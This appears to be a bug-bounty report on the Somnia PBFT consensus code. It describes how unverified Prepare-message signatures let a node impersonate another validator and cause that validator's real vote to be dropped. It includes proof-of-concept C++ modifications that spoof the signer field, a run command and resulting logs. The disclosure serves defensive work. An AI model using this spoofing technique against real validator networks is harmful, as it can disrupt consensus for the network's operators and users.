https://github.com/hackenproof-public/somnia
A malicious PBFT node can spoof the signature of another validator’s Prepare message, causing honest nodes to accept a forged message and potentially drop the real one. In the PBFT consensus implementation, each Prepare message includes a signature object that contains the signer's address and cryptographic signature. The flaw is that the receiving nodes do not immediately verify the signature’s authenticity when a Prepare message arrives. Instead, the code simply uses the reported signer address as a key and stores the message if one from that address hasn’t been seen yetGitHub. There is no check at receipt time to ensure the signature was actually generated by the holder of that address’s private key.
Because of this, any malicious node can broadcast a Prepare message and falsify the signature.signer field to an arbitrary validator address. Honest nodes will accept this message under the assumed identity. The malicious Prepare is treated as that validator’s vote in the current round. Later, when the real validator sends its genuine Prepare, the nodes will see a duplicate signer and ignore the legitimate message as a duplicate. The core issues here are:
No Early Signature Validation: The system does not fail fast on a bad signature. It only attempts to validate signatures after collecting enough messages for a quorum certificateGitHub. At that later stage, it will discover the signature is invalid and discard it GitHub, but by then the damage is done. The forged message occupied the slot of a real validator’s vote during the round.
Dropping of Legitimate Messages: By spoofing another node’s identity, the attacker causes honest nodes to drop the real Prepare messages from that validator (since they think they already have it). This can prevent the network from reaching the required quorum of valid Prepare messages, disrupting the consensus process. In effect, a single malicious Prepare can neutralize a honest validator’s vote for a round, arbitrarily and non-deterministically.
In summary, the vulnerability lets an attacker impersonate another consensus participant’s Prepare message without immediate detection. This breaks a fundamental assumption of PBFT (that each validator sends at most one Prepare per round, and that signatures are authentic), leading to potential consensus failure. The attack does not require any special keys or network privileges beyond being able to send messages to the consensus network.
To prove this vulnerability, let's make the following alterations to somnia/pbft/pbft_round_manager.cc:
// Before calling message_sender.SendMessageToAllPeers at TryBroadcastPrepareMessage function, add the following lines of code:
// @audit change signature.signer address to spoofed address to simulate attack on node 1.
if ( our_private_keys.GetAddress() == HexToArray<Address>("0x0b5a1df83bf4430a8433bb8e375bb5b4e02411b5") ){
spdlog::info("Malicious signature for pbft Prepare Message broadcast by {}", our_private_keys.GetAddress() );
prepare_message.signature.signer = HexToArray<Address>("0x9e3794a4c84a63399253af258183429896bbc81d");
} else {
spdlog::info ("Non malicious signature for pbft Prepare Message broadcast by {}", our_private_keys.GetAddress());
}
...
// Broadcast the prepare message to all peers.
message_sender.SendMessageToAllPeers(prepare_message);
return true;
}
Then at somnia/pbft/pbft_round.cc modify the ReceivedPrepareMessage function to log this:
void PbftRound::ReceivedPrepareMessage(TransientState& transient_state, PrepareMessage message) {
if (transient_state.received_prepare_messages.count(message.signature.signer)) {
// We have already received a prepare message from this replica.
spdlog::info("Node already received prepare message at transient state for {}", message.signature.signer);
return;
}
spdlog::info("Node added prepare message at transient state for {}", message.signature.signer);
// Add this message into our received prepare messages for this round.
transient_state.received_prepare_messages[message.signature.signer] = message;
}
Run local-deployment with the following command:
NETWORK_PRESET=mainnet-small ./ci/run-local-deployment.sh >spoofing.log 2>&1
Notice logs similar to this:
[N1] [2025-09-17 15:43:47.679] [consensus ] [info] Malicious signature for pbft Prepare Message broadcast by 0x0b5a1df83bf4430a8433bb8e375bb5b4e02411b5
[N1] [2025-09-17 15:43:47.679] [consensus ] [info] Node added prepare message at transient state for 0x9e3794a4c84a63399253af258183429896bbc81d
[N2] [2025-09-17 15:43:47.679] [consensus ] [info] Non malicious signature for pbft Prepare Message broadcast by 0x9e3794a4c84a63399253af258183429896bbc81d
[N2] [2025-09-17 15:43:47.679] [consensus ] [info] Node added prepare message at transient state for 0x9e3794a4c84a63399253af258183429896bbc81d
[N1] [2025-09-17 15:43:47.679] [consensus ] [info] Node added prepare message at transient state for 0xd1d8a091d3644d1a8ee6b995939bf85c41215b6f
[N2] [2025-09-17 15:43:47.679] [consensus ] [info] Node added prepare message at transient state for 0xd1d8a091d3644d1a8ee6b995939bf85c41215b6f
[N2] [2025-09-17 15:43:47.679] [consensus ] [info] Node already received prepare message at transient state for 0x9e3794a4c84a63399253af258183429896bbc81d
[N2] [2025-09-17 15:43:47.679] [consensus ] [info] Node already received prepare message at transient state for 0x9e3794a4c84a63399253af258183429896bbc81d
[N1] [2025-09-17 15:43:47.679] [consensus ] [info] Node already received prepare message at transient state for 0x9e3794a4c84a63399253af258183429896bbc81d
[N0] [2025-09-17 15:43:47.679] [consensus ] [info] Node added prepare message at transient state for 0x9e3794a4c84a63399253af258183429896bbc81d
[N1] [2025-09-17 15:43:47.679] [consensus ] [info] Node already received prepare message at transient state for 0x9e3794a4c84a63399253af258183429896bbc81d
[N0] [2025-09-17 15:43:47.679] [consensus ] [info] Node already received prepare message at transient state for 0x9e3794a4c84a63399253af258183429896bbc81d
They indicate multiple nodes are sending prepare messages for the validator with address 0x9e3794a4c84a63399253af258183429896bbc81d.
There are cases in which the malicious signature arrives first, and cases in which the legitimate signature arrives first, which can arbitrarily drop prepare messages non-deterministically:
[N1] [2025-09-17 15:43:47.573] [consensus ] [info] Malicious signature for pbft Prepare Message broadcast by 0x0b5a1df83bf4430a8433bb8e375bb5b4e02411b5
[N2] [2025-09-17 15:43:47.573] [consensus ] [info] Non malicious signature for pbft Prepare Message broadcast by 0x9e3794a4c84a63399253af258183429896bbc81d
[N2] [2025-09-17 15:43:47.573] [consensus ] [info] Node added prepare message at transient state for 0x9e3794a4c84a63399253af258183429896bbc81d
[N1] [2025-09-17 15:43:47.573] [consensus ] [info] Node added prepare message at transient state for 0x9e3794a4c84a63399253af258183429896bbc81d
[N2] [2025-09-17 15:43:47.573] [consensus ] [info] Node already received prepare message at transient state for 0x9e3794a4c84a63399253af258183429896bbc81d
[N2] [2025-09-17 15:43:47.573] [consensus ] [info] Node already received prepare message at transient state for 0x9e3794a4c84a63399253af258183429896bbc81d
[N1] [2025-09-17 15:43:47.573] [consensus ] [info] Node already received prepare message at transient state for 0x9e3794a4c84a63399253af258183429896bbc81d
[N1] [2025-09-17 15:43:47.573] [consensus ] [info] Node already received prepare message at transient state for 0x9e3794a4c84a63399253af258183429896bbc81d